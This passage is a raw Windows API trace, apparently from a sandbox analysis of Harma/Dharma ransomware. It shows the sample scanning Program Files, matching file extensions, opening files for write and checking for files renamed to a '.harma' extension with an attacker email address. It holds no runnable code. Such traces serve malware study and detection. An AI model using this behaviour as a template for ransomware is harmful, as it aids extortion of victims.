[0175.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.150] lstrlenW (lpString=".dbf") returned 4 [0175.150] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.150] lstrlenW (lpString=".1cd") returned 4 [0175.150] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0175.150] lstrlenW (lpString=".jpg") returned 4 [0175.151] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.151] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.151] lstrlenW (lpString="ipsdan.xml") returned 10 [0175.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.151] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2514) returned 1 [0175.151] CloseHandle (hObject=0x1d4) returned 1 [0175.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0175.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.152] lstrlenW (lpString=".doc") returned 4 [0175.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString=".docx") returned 5 [0175.152] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0175.152] lstrlenW (lpString=".pdf") returned 4 [0175.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString=".xls") returned 4 [0175.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString=".xlsx") returned 5 [0175.152] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0175.152] lstrlenW (lpString=".ppt") returned 4 [0175.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.152] lstrlenW (lpString=".zip") returned 4 [0175.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.152] lstrlenW (lpString=".rar") returned 4 [0175.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString=".bz2") returned 4 [0175.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString=".7z") returned 3 [0175.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.152] lstrlenW (lpString=".dbf") returned 4 [0175.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.152] lstrlenW (lpString=".1cd") returned 4 [0175.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.153] lstrlenW (lpString=".jpg") returned 4 [0175.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.153] lstrlenW (lpString=".doc") returned 4 [0175.153] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString=".docx") returned 5 [0175.153] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0175.153] lstrlenW (lpString=".pdf") returned 4 [0175.153] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString=".xls") returned 4 [0175.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString=".xlsx") returned 5 [0175.153] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0175.153] lstrlenW (lpString=".ppt") returned 4 [0175.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.153] lstrlenW (lpString=".zip") returned 4 [0175.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.153] lstrlenW (lpString=".rar") returned 4 [0175.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString=".bz2") returned 4 [0175.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.153] lstrlenW (lpString=".7z") returned 3 [0175.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.154] lstrlenW (lpString=".dbf") returned 4 [0175.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.154] lstrlenW (lpString=".1cd") returned 4 [0175.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0175.154] lstrlenW (lpString=".jpg") returned 4 [0175.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.154] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.154] lstrlenW (lpString="ipsdeu.xml") returned 10 [0175.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.155] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2616) returned 1 [0175.155] CloseHandle (hObject=0x1d4) returned 1 [0175.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0175.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.155] lstrlenW (lpString=".doc") returned 4 [0175.155] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.155] lstrlenW (lpString=".docx") returned 5 [0175.155] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0175.155] lstrlenW (lpString=".pdf") returned 4 [0175.155] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.155] lstrlenW (lpString=".xls") returned 4 [0175.155] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.155] lstrlenW (lpString=".xlsx") returned 5 [0175.155] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0175.155] lstrlenW (lpString=".ppt") returned 4 [0175.155] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.155] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.156] lstrlenW (lpString=".zip") returned 4 [0175.156] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.156] lstrlenW (lpString=".rar") returned 4 [0175.156] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString=".bz2") returned 4 [0175.156] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString=".7z") returned 3 [0175.156] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.156] lstrlenW (lpString=".dbf") returned 4 [0175.156] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.156] lstrlenW (lpString=".1cd") returned 4 [0175.156] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.156] lstrlenW (lpString=".jpg") returned 4 [0175.156] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.156] lstrlenW (lpString=".doc") returned 4 [0175.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString=".docx") returned 5 [0175.156] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0175.156] lstrlenW (lpString=".pdf") returned 4 [0175.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString=".xls") returned 4 [0175.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.156] lstrlenW (lpString=".xlsx") returned 5 [0175.157] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0175.157] lstrlenW (lpString=".ppt") returned 4 [0175.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.157] lstrlenW (lpString=".zip") returned 4 [0175.157] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.157] lstrlenW (lpString=".rar") returned 4 [0175.157] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.157] lstrlenW (lpString=".bz2") returned 4 [0175.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.157] lstrlenW (lpString=".7z") returned 3 [0175.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0175.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.157] lstrlenW (lpString=".dbf") returned 4 [0175.157] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0175.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.157] lstrlenW (lpString=".1cd") returned 4 [0175.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0175.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0175.157] lstrlenW (lpString=".jpg") returned 4 [0175.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0175.157] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0175.157] lstrlenW (lpString="ipsen.xml") returned 9 [0175.157] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0175.158] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2d5ff1c | out: lpFileSize=0x2d5ff1c*=2578) returned 1 [0175.158] CloseHandle (hObject=0x1d4) returned 1 [0175.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0175.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0175.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0175.158] lstrlenW (lpString=".doc") returned 4 [0175.158] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0175.158] lstrlenW (lpString=".docx") returned 5 [0175.158] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0175.159] lstrlenW (lpString=".pdf") returned 4 [0175.159] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0175.159] lstrlenW (lpString=".xls") returned 4 [0175.159] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0175.159] lstrlenW (lpString=".xlsx") returned 5 [0175.159] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0175.159] lstrlenW (lpString=".ppt") returned 4 [0175.159] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0175.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0175.159] lstrlenW (lpString=".zip") returned 4 [0175.159] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0175.159] lstrlenW (lpString=".rar") returned 4 [0175.159] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0175.159] lstrlenW (lpString=".bz2") returned 4 [0175.159] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0175.159] lstrlenW (lpString=".7z") returned 3 [0175.159] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 Thread: id = 83 os_tid = 0x5c0 [0174.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3450048 [0174.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3460050 [0174.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500700 [0174.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x532418 [0174.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5006e8 [0174.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3550020 [0174.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500760 [0174.647] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500760, Size=0x20) returned 0x537a80 [0174.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500760 [0174.647] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x500760, Size=0x20) returned 0x537a08 [0174.647] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.647] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.647] Wow64DisableWow64FsRedirection (in: OldValue=0x2e9ff58 | out: OldValue=0x2e9ff58*=0x0) returned 1 [0174.647] lstrlenW (lpString="kernel32.dll") returned 12 [0174.647] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.647] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.647] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.647] Sleep (dwMilliseconds=0x64) [0174.777] Sleep (dwMilliseconds=0x64) [0175.162] Sleep (dwMilliseconds=0x64) [0175.458] Sleep (dwMilliseconds=0x64) [0175.601] Sleep (dwMilliseconds=0x64) [0175.742] Sleep (dwMilliseconds=0x64) [0175.894] Sleep (dwMilliseconds=0x64) [0176.159] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.159] lstrlenW (lpString="BabyBoyMainBackground_PAL.wmv") returned 29 [0176.160] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.229] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=325322) returned 1 [0176.229] CloseHandle (hObject=0x1d4) returned 1 [0176.229] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0176.229] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.229] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.229] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.229] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.229] lstrlenW (lpString=".doc") returned 4 [0176.229] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.229] lstrlenW (lpString=".docx") returned 5 [0176.229] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.229] lstrlenW (lpString=".pdf") returned 4 [0176.229] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.229] lstrlenW (lpString=".xls") returned 4 [0176.229] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.229] lstrlenW (lpString=".xlsx") returned 5 [0176.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.230] lstrlenW (lpString=".ppt") returned 4 [0176.230] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.230] lstrlenW (lpString=".zip") returned 4 [0176.230] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.230] lstrlenW (lpString=".rar") returned 4 [0176.230] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.230] lstrlenW (lpString=".bz2") returned 4 [0176.230] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.230] lstrlenW (lpString=".7z") returned 3 [0176.230] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.230] lstrlenW (lpString=".dbf") returned 4 [0176.230] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.230] lstrlenW (lpString=".1cd") returned 4 [0176.230] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.230] lstrlenW (lpString=".jpg") returned 4 [0176.230] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.230] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.230] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.231] lstrlenW (lpString=".doc") returned 4 [0176.231] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.231] lstrlenW (lpString=".docx") returned 5 [0176.231] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.231] lstrlenW (lpString=".pdf") returned 4 [0176.231] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.231] lstrlenW (lpString=".xls") returned 4 [0176.231] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.231] lstrlenW (lpString=".xlsx") returned 5 [0176.231] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.231] lstrlenW (lpString=".ppt") returned 4 [0176.231] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.231] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.231] lstrlenW (lpString=".zip") returned 4 [0176.231] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0176.231] lstrlenW (lpString=".rar") returned 4 [0176.231] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0176.231] lstrlenW (lpString=".bz2") returned 4 [0176.231] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0176.231] lstrlenW (lpString=".7z") returned 3 [0176.231] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0176.231] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.231] lstrlenW (lpString=".dbf") returned 4 [0176.231] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0176.231] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.231] lstrlenW (lpString=".1cd") returned 4 [0176.232] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0176.232] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0176.232] lstrlenW (lpString=".jpg") returned 4 [0176.232] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0176.232] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0176.232] lstrlenW (lpString="BabyBoyMainToNotesBackground_PAL.wmv") returned 36 [0176.232] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0176.233] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2e9ff1c | out: lpFileSize=0x2e9ff1c*=157214) returned 1 [0176.233] CloseHandle (hObject=0x1d4) returned 1 [0176.233] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0176.233] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0176.233] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.233] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.233] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0176.233] lstrlenW (lpString=".doc") returned 4 [0176.233] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0176.233] lstrlenW (lpString=".docx") returned 5 [0176.233] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0176.233] lstrlenW (lpString=".pdf") returned 4 [0176.233] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0176.233] lstrlenW (lpString=".xls") returned 4 [0176.233] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0176.233] lstrlenW (lpString=".xlsx") returned 5 [0176.233] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0176.233] lstrlenW (lpString=".ppt") returned 4 [0176.233] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0176.233] lstrlenW (lpString="C:\\Program Files\\DVD 